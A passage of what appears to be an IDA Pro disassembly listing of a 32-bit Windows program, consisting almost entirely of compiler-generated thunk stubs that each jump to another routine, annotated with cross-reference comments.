sub_4253C0+116p ... jmp sub_425370 sub_4013D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D9 proc near ; CODE XREF: sub_40A9A0+20p jmp sub_40AAD0 sub_4013D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013DE proc near ; CODE XREF: sub_410030+AFDp ; sub_410030+E71p ... jmp sub_40AFA0 sub_4013DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E3 proc near ; CODE XREF: sub_404CC0+8E9p ; sub_404CC0+8F2p ... jmp sub_40A350 sub_4013E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E8 proc near ; CODE XREF: ___:0042210Ap jmp sub_422640 sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013ED proc near ; CODE XREF: sub_404690+87p ; sub_410030+9B0p ... jmp sub_40A240 sub_4013ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F2 proc near ; CODE XREF: sub_427D50+12Ep jmp sub_41A050 sub_4013F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F7 proc near ; CODE XREF: sub_41E760+35Dp ; sub_41E760+3CAp ... jmp sub_421CA0 sub_4013F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013FC proc near ; CODE XREF: sub_418DA0+7p jmp sub_4190A0 sub_4013FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401401 proc near ; CODE XREF: sub_4162C0+5Fp jmp sub_416890 sub_401401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401406 proc near ; DATA XREF: ___:off_43F0C4o jmp sub_41B4D0 sub_401406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40140B proc near ; CODE XREF: sub_4157B0+29p ; sub_4158D0+29p jmp sub_416380 sub_40140B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401410 proc near ; CODE XREF: sub_413E70+19Ap jmp sub_415890 sub_401410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401415 proc near ; CODE XREF: ___:004301FFp ; ___:00430228p jmp sub_4303A0 sub_401415 endp ; --------------------------------------------------------------------------- jmp loc_42E2B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141F proc near ; CODE XREF: ___:00416EFFp jmp sub_417F50 sub_40141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401424 proc near ; CODE XREF: sub_41B920:loc_41B92Fp ; sub_41B920+1Fp jmp sub_41B900 sub_401424 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401429 proc near ; DATA XREF: sub_40AFA0+4o jmp sub_40B070 sub_401429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40142E proc near ; CODE XREF: sub_403530+61p ; sub_403CE0+1Dp ... jmp sub_409BC0 sub_40142E endp ; --------------------------------------------------------------------------- jmp loc_437130 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401438 proc near ; CODE XREF: sub_418990+29p jmp sub_418C10 sub_401438 endp ; --------------------------------------------------------------------------- jmp loc_434370 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401442 proc near ; CODE XREF: ___:00433B5Dp ; sub_433CE0+20p jmp sub_433E10 sub_401442 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401447 proc near ; CODE XREF: ___:00406C23p ; ___:00416C58p ... jmp sub_406C50 sub_401447 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40144C proc near ; CODE XREF: sub_404690+370p ; sub_404690:loc_404A35p ... jmp sub_404C30 sub_40144C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401451 proc near ; CODE XREF: sub_404CC0+26Bp ; ___:0040F346p ... jmp sub_40E870 sub_401451 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401456 proc near ; CODE XREF: sub_415A60+5p jmp sub_416540 sub_401456 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40145B proc near ; CODE XREF: sub_40B600+1Dp ; ___:0040BA2Dp ... jmp sub_40BE00 sub_40145B endp ; --------------------------------------------------------------------------- jmp loc_40B6D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401465 proc near ; CODE XREF: sub_41E760+349p ; sub_421BF0+1Ap jmp sub_421C60 sub_401465 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146F proc near ; CODE XREF: sub_4151C0+29p jmp sub_415CE0 sub_40146F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401474 proc near ; CODE XREF: ___:00408AF0p ; ___:00408B19p ... jmp sub_409530 sub_401474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401479 proc near ; CODE XREF: sub_404690+30p ; sub_404690+14Bp ... jmp sub_40A7A0 sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40147E proc near ; CODE XREF: sub_4193C0+1D8p ; sub_4193C0+1EFp jmp sub_419890 sub_40147E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401483 proc near ; CODE XREF: sub_412780+F8p jmp sub_41BD90 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401488 proc near ; CODE XREF: sub_413C40+E1p jmp sub_4152A0 sub_401488 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40148D proc near ; CODE XREF: sub_422B40+48p ; sub_422B40+213p ... jmp sub_426B60 sub_40148D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401492 proc near ; CODE XREF: sub_41B5B0+2Ap ; sub_41B5B0+5Ap ; DATA XREF: ... jmp sub_41A6B0 sub_401492 endp ; --------------------------------------------------------------------------- jmp loc_4323F0 ; --------------------------------------------------------------------------- jmp loc_42FBD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014A1 proc near ; CODE XREF: sub_40EE40+EAp jmp sub_40ED00 sub_4014A1 endp ; --------------------------------------------------------------------------- jmp loc_40A7C0 ; --------------------------------------------------------------------------- loc_4014AB: ; DATA XREF: ___:off_43F078o jmp loc_40F210 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B0 proc near ; CODE XREF: sub_40BE00+14p ; sub_40BE40+9p ... jmp sub_40C1A0 sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B5 proc near ; CODE XREF: sub_42C4C0+1Dp jmp sub_42C530 sub_4014B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BA proc near ; CODE XREF: sub_41C710+4E7p ; sub_41C710+A75p ... jmp sub_41D6D0 sub_4014BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014BF proc near ; CODE XREF: sub_4132F0+48p ; ___:0043AC97j ... jmp sub_4157B0 sub_4014BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C4 proc near jmp sub_40AF60 sub_4014C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C9 proc near ; DATA XREF: ___:off_43F044o jmp sub_414E10 sub_4014C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014CE proc near ; CODE XREF: ___:00427913p sub_427970j ... jmp sub_427850 sub_4014CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D3 proc near ; CODE XREF: sub_403530+115p ; sub_404690+1B8p ... jmp sub_409C60 sub_4014D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014D8 proc near ; CODE XREF: sub_40AD50+7p jmp sub_40AE40 sub_4014D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014DD proc near ; CODE XREF: sub_404B60+9p ; sub_404CC0+45p ... jmp sub_40A820 sub_4014DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E2 proc near ; CODE XREF: sub_41E760+E1p ; sub_4219F0+1Ap jmp sub_421A60 sub_4014E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E7 proc near ; CODE XREF: sub_41A210+10p ; sub_41A3B0+47p ... jmp sub_41A600 sub_4014E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014EC proc near ; CODE XREF: sub_407100+24p jmp sub_4072E0 sub_4014EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F1 proc near ; CODE XREF: ___:0042C3E5p jmp sub_42C4C0 sub_4014F1 endp ; --------------------------------------------------------------------------- jmp sub_4288F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014FB proc near ; CODE XREF: ___:00416C1Bp ; ___:0043B1B6j ... jmp sub_417640 sub_4014FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401500 proc near ; CODE XREF: sub_415C20+5Fp jmp sub_416610 sub_401500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401505 proc near ; CODE XREF: sub_4248E0+Fp ; sub_424920+1CCp ... jmp sub_424840 sub_401505 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40150A proc near ; CODE XREF: ___:004296C7p ; ___:0042978Cp ... jmp sub_40A070 sub_40150A endp ; --------------------------------------------------------------------------- jmp loc_419AB0 ; --------------------------------------------------------------------------- jmp loc_433F20 ; --------------------------------------------------------------------------- jmp loc_42FEF0 ; --------------------------------------------------------------------------- jmp loc_42FE00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401523 proc near ; CODE XREF: sub_422050+8p jmp sub_4224A0 sub_401523 endp ; --------------------------------------------------------------------------- jmp locret_419A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40152D proc near ; CODE XREF: sub_40CC90+1E4p ; sub_40D040+143p ... jmp sub_419A70 sub_40152D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401532 proc near ; CODE XREF: sub_418B70+3p jmp sub_418E00 sub_401532 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401537 proc near ; DATA XREF: ___:0043F1B8o jmp sub_42C830 sub_401537 endp ; --------------------------------------------------------------------------- jmp loc_433870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401541 proc near ; CODE XREF: sub_410030+95p ; sub_4120B0+54Dp ... jmp sub_4142E0 sub_401541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401546 proc near ; CODE XREF: sub_40B600+Bp ; ___:0040BA19p jmp sub_40BF00 sub_401546 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40154B proc near ; CODE XREF: sub_430830+1Bp ; sub_432ED0+94p jmp sub_4309A0 sub_40154B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401550 proc near ; CODE XREF: sub_421FD0+7p jmp sub_422450 sub_401550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401555 proc near ; CODE XREF: ___:00433B4Fp ; sub_433CE0+Fp jmp sub_433E50 sub_401555 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40155A proc near ; CODE XREF: sub_418A40+29p ; sub_418B20+29p jmp sub_418CC0 sub_40155A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40155F proc near ; CODE XREF: sub_40B250+40p ; ___:00439E1Aj ... jmp sub_40BD90 sub_40155F endp ; --------------------------------------------------------------------------- jmp loc_4316A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401569 proc near ; CODE XREF: sub_40C0D0+4p jmp sub_40C2E0 sub_401569 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40156E proc near ; CODE XREF: sub_407080+3Cp jmp sub_407230 sub_40156E endp ; --------------------------------------------------------------------------- jmp loc_41BD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401578 proc near ; CODE XREF: sub_4152E0+5Bp ; sub_415C20+11p ... jmp sub_415E70 sub_401578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40157D proc near ; CODE XREF: ___:00416F8Ap jmp sub_418330 sub_40157D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401582 proc near ; CODE XREF: sub_413740+BEp ; sub_413740+FCp ... jmp sub_4151C0 sub_401582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401587 proc near ; CODE XREF: ___:00416E9Fp jmp sub_417CC0 sub_401587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40158C proc near ; CODE XREF: sub_4129D0+39p ; sub_412A40+A9p jmp sub_412940 sub_40158C endp ; --------------------------------------------------------------------------- jmp loc_4323C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401596 proc near ; CODE XREF: sub_40A510+16Fp ; ___:00439D8Aj jmp sub_40A870 sub_401596 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40159B proc near ; CODE XREF: sub_404010+51p ; ___:004040B4p ... jmp sub_407100 sub_40159B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015A0 proc near ; CODE XREF: ___:00408B0Dp ; ___:00408B36p ... jmp sub_40B760 sub_4015A0 endp ; --------------------------------------------------------------------------- jmp loc_433280 ; --------------------------------------------------------------------------- jmp loc_41A280 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015AF proc near ; CODE XREF: sub_4160C0+4p jmp sub_416710 sub_4015AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B4 proc near ; CODE XREF: sub_409930+1Ap ; sub_409980+1Ap jmp sub_4099F0 sub_4015B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B9 proc near ; DATA XREF: ___:0043F134o jmp sub_429330 sub_4015B9 endp ; --------------------------------------------------------------------------- jmp loc_433BE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015C3 proc near ; CODE XREF: ___:004192A5p jmp sub_419300 sub_4015C3 endp ; --------------------------------------------------------------------------- jmp loc_4337B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015CD proc near ; CODE XREF: ___:0041D833p jmp sub_41D860 sub_4015CD endp ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D7 proc near ; CODE XREF: sub_415420+5p jmp sub_415EA0 sub_4015D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015DC proc near ; CODE XREF: sub_418AB0+5p ; sub_418BB0+6p ... jmp sub_418DC0 sub_4015DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E1 proc near ; CODE XREF: sub_404CC0+94Dp ; ___:00406EACp ... jmp sub_409D60 sub_4015E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E6 proc near ; CODE XREF: ___:00416E5Fp jmp sub_406BF0 sub_4015E6 endp ; --------------------------------------------------------------------------- jmp loc_424430 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F0 proc near ; CODE XREF: ___:00415F2Ap jmp sub_416760 sub_4015F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F5 proc near ; CODE XREF: sub_41F030+1C7p jmp sub_420DD0 sub_4015F5 endp ; --------------------------------------------------------------------------- loc_4015FA: ; DATA XREF: ___:0043F1C0o jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FF proc near ; CODE XREF: sub_4292E0+3p jmp sub_429310 sub_4015FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401604 proc near ; CODE XREF: sub_404CC0+E8Ep ; sub_40D660+120p ... jmp sub_420090 sub_401604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401609 proc near ; CODE XREF: sub_4327B0+20p ; sub_4327B0+32p jmp sub_434960 sub_401609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40160E proc near ; CODE XREF: ___:00432725p jmp sub_431220 sub_40160E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401613 proc near jmp sub_426C70 sub_401613 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401618 proc near ; CODE XREF: sub_4164E0+8p jmp sub_4168B0 sub_401618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40161D proc near ; DATA XREF: ___:off_43F0ACo jmp sub_41E760 sub_40161D endp ; --------------------------------------------------------------------------- jmp loc_41ABA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401627 proc near ; CODE XREF: sub_40AF80p ___:004313E2p jmp sub_4325F0 sub_401627 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40162C proc near ; CODE XREF: sub_407140+1Ap ; sub_418990+1Ap jmp sub_407270 sub_40162C endp ; --------------------------------------------------------------------------- jmp loc_416D90 ; --------------------------------------------------------------------------- jmp loc_430360 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163B proc near ; CODE XREF: sub_422340+5Fp jmp sub_4226E0 sub_40163B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401640 proc near ; CODE XREF: ___:0041A30Ap jmp sub_41B160 sub_401640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401645 proc near ; CODE XREF: sub_4327B0:loc_4327EEp jmp sub_432850 sub_401645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40164A proc near ; CODE XREF: sub_434150+12p ; sub_4348A0+51p jmp sub_431810 sub_40164A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164F proc near ; CODE XREF: ___:00416EAFp jmp sub_417D60 sub_40164F endp ; --------------------------------------------------------------------------- jmp loc_4314E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401659 proc near ; CODE XREF: sub_40A930+8p jmp sub_40A980 sub_401659 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40165E proc near ; CODE XREF: ___:0041301Ep jmp sub_4131B0 sub_40165E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401663 proc near ; CODE XREF: sub_430D90+ADp ; ___:004335A0p ... jmp sub_4307E0 sub_401663 endp ; --------------------------------------------------------------------------- db 0E9h ; db 43h ; C db 0B4h ; db 2 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40166D proc near ; CODE XREF: sub_42CB70+15Ep jmp sub_42C770 sub_40166D endp ; --------------------------------------------------------------------------- jmp loc_4068A0 ; --------------------------------------------------------------------------- jmp loc_42F640 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40167C proc near ; CODE XREF: ___:0040741Ap jmp sub_4075C0 sub_40167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401681 proc near ; CODE XREF: sub_422750+3Cp jmp sub_422890 sub_401681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401686 proc near ; DATA XREF: ___:0043F0C8o jmp sub_41B5B0 sub_401686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168B proc near ; CODE XREF: sub_403530+BBp ; ___:00406F1Dp ... jmp sub_403700 sub_40168B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401690 proc near ; CODE XREF: ___:004300A0p ; ___:0043011Ep ... jmp sub_434070 sub_401690 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401695 proc near ; CODE XREF: sub_409570+10p jmp sub_409610 sub_401695 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169A proc near ; CODE XREF: sub_40A510+4Ap jmp sub_40A840 sub_40169A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169F proc near ; CODE XREF: ___:00416ECFp jmp sub_40F6D0 sub_40169F endp ; --------------------------------------------------------------------------- jmp loc_4333D0 ; --------------------------------------------------------------------------- jmp loc_42F940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AE proc near ; CODE XREF: sub_40BFA0+9p ; sub_40C200+18p jmp sub_40C380 sub_4016AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B3 proc near ; CODE XREF: sub_41D930+283p jmp sub_42FB70 sub_4016B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: sub_403530+CCp ; sub_404690+EDp ... jmp sub_40A710 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BD proc near ; CODE XREF: ___:00416EEFp jmp sub_417F20 sub_4016BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C2 proc near ; CODE XREF: sub_4246D0+7Ep ; sub_4246D0+92p ... jmp sub_4245A0 sub_4016C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C7 proc near ; CODE XREF: sub_412780+E0p ; sub_4138B0+CEp ... jmp sub_409F50 sub_4016C7 endp ; --------------------------------------------------------------------------- jmp loc_42F420 ; --------------------------------------------------------------------------- jmp loc_42FBA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D6 proc near ; CODE XREF: ___:00415169p jmp sub_415AD0 sub_4016D6 endp ; --------------------------------------------------------------------------- loc_4016DB: ; DATA XREF: ___:off_43F0ECo jmp loc_427910 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016E0 proc near ; CODE XREF: sub_4096E0+58p ; sub_4096E0+82p ... jmp sub_409930 sub_4016E0 endp ; --------------------------------------------------------------------------- jmp sub_428210 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016EA proc near ; CODE XREF: sub_41E760+2B2p jmp sub_421BB0 sub_4016EA endp ; --------------------------------------------------------------------------- jmp loc_41AF50 ; --------------------------------------------------------------------------- jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F9 proc near ; CODE XREF: sub_40A930+10p jmp sub_40A9A0 sub_4016F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016FE proc near jmp sub_4364D0 sub_4016FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401703 proc near ; CODE XREF: sub_418430+7Bp ; sub_418430+C5p ... jmp sub_418BE0 sub_401703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401708 proc near ; CODE XREF: sub_4148A0+FCp jmp sub_414A70 sub_401708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40170D proc near ; CODE XREF: sub_41E760+D1p jmp sub_421B10 sub_40170D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401712 proc near ; CODE XREF: sub_40AF60p ; ___:loc_4313C5p jmp sub_432570 sub_401712 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401717 proc near ; CODE XREF: sub_4096E0+91p ; sub_412C90+Dp jmp sub_4098B0 sub_401717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40171C proc near ; DATA XREF: ___:off_43F0A8o jmp sub_40C4E0 sub_40171C endp ; --------------------------------------------------------------------------- jmp loc_40AEC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401726 proc near ; CODE XREF: sub_413A80+4Ep jmp sub_415140 sub_401726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40172B proc near ; CODE XREF: sub_40F6D0+13Dp jmp sub_412C60 sub_40172B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401730 proc near ; CODE XREF: ___:0040F290p jmp sub_40E2F0 sub_401730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401735 proc near ; CODE XREF: ___:00415191p jmp sub_415BA0 sub_401735 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40173A proc near ; CODE XREF: sub_428940+98p jmp sub_428AB0 sub_40173A endp ; --------------------------------------------------------------------------- jmp loc_426700 ; --------------------------------------------------------------------------- jmp loc_41AFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401749 proc near ; CODE XREF: sub_407140+48p ; sub_407140:loc_4071C5p jmp sub_407340 sub_401749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40174E proc near ; CODE XREF: sub_40AEF0+2Cp ; sub_418430+8Fp ... jmp sub_40B020 sub_40174E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401753 proc near ; CODE XREF: sub_403720+2A5p ; sub_403720+2B5p ... jmp sub_403DE0 sub_401753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401758 proc near ; CODE XREF: sub_42B8E0+7Fp ; sub_42BB00+318p jmp sub_42B6F0 sub_401758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40175D proc near ; CODE XREF: sub_415A90+14p ; sub_415AD0+9p ... jmp sub_416630 sub_40175D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401762 proc near ; CODE XREF: sub_40B020+10p ; ___:004305B1p ... jmp sub_431470 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401767 proc near ; CODE XREF: ___:0040AFF4p jmp sub_4348A0 sub_401767 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40176C proc near ; CODE XREF: sub_418E80+5Fp jmp sub_419110 sub_40176C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401771 proc near ; CODE XREF: ___:0041896Cp jmp sub_418590 sub_401771 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401776 proc near ; CODE XREF: ___:00416B1Bp ; ___:00416DE3p ... jmp sub_416DC0 sub_401776 endp ; --------------------------------------------------------------------------- jmp loc_420EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401780 proc near ; CODE XREF: ___:00416EBFp jmp sub_417E30 sub_401780 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401785 proc near ; CODE XREF: sub_430B30+5Dp ; sub_431B00+2Cp ... jmp sub_4322D0 sub_401785 endp ; --------------------------------------------------------------------------- jmp loc_42F590 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178F proc near ; CODE XREF: ___:00427370p jmp sub_428880 sub_40178F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401794 proc near ; CODE XREF: ___:00426757p jmp sub_426560 sub_401794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401799 proc near ; CODE XREF: ___:00416F9Ap jmp sub_418360 sub_401799 endp ; --------------------------------------------------------------------------- jmp loc_433200 ; --------------------------------------------------------------------------- jmp loc_4301A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A8 proc near ; CODE XREF: ___:004292B3p sub_429310j ... jmp sub_4291E0 sub_4017A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017AD proc near ; CODE XREF: ___:00416BCBp ; ___:00416D93p ... jmp sub_416D60 sub_4017AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B2 proc near ; DATA XREF: ___:off_43F17Co jmp sub_42B3F0 sub_4017B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B7 proc near ; CODE XREF: sub_431240+D7p jmp sub_432A20 sub_4017B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017BC proc near ; CODE XREF: sub_40AF60+5j ; ___:loc_4313CDp jmp sub_432670 sub_4017BC endp ; --------------------------------------------------------------------------- jmp loc_431420 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C6 proc near ; CODE XREF: sub_4266D0+10p ; sub_4267D0+3Dp jmp sub_4267A0 sub_4017C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017CB proc near ; CODE XREF: sub_40AF80+5j ; ___:loc_4313D5p ... jmp sub_432690 sub_4017CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D0 proc near ; DATA XREF: ___:off_43F000o jmp sub_404CC0 sub_4017D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D5 proc near ; CODE XREF: sub_4248E0+1Ep ; sub_424920+A6p ... jmp sub_424870 sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DA proc near ; CODE XREF: ___:00416B8Bp ; ___:0043B234j ... jmp sub_417A60 sub_4017DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DF proc near ; CODE XREF: sub_416220+11p ; ___:00416247p ... jmp sub_4167F0 sub_4017DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E4 proc near ; CODE XREF: sub_415A10+3p ; ___:0041626Fp ... jmp sub_4164A0 sub_4017E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017E9 proc near ; CODE XREF: sub_415600+6Ap ; sub_416030+32p jmp sub_415F70 sub_4017E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017EE proc near ; CODE XREF: sub_403530+DBp ; sub_404010+3Fp ... jmp sub_40A800 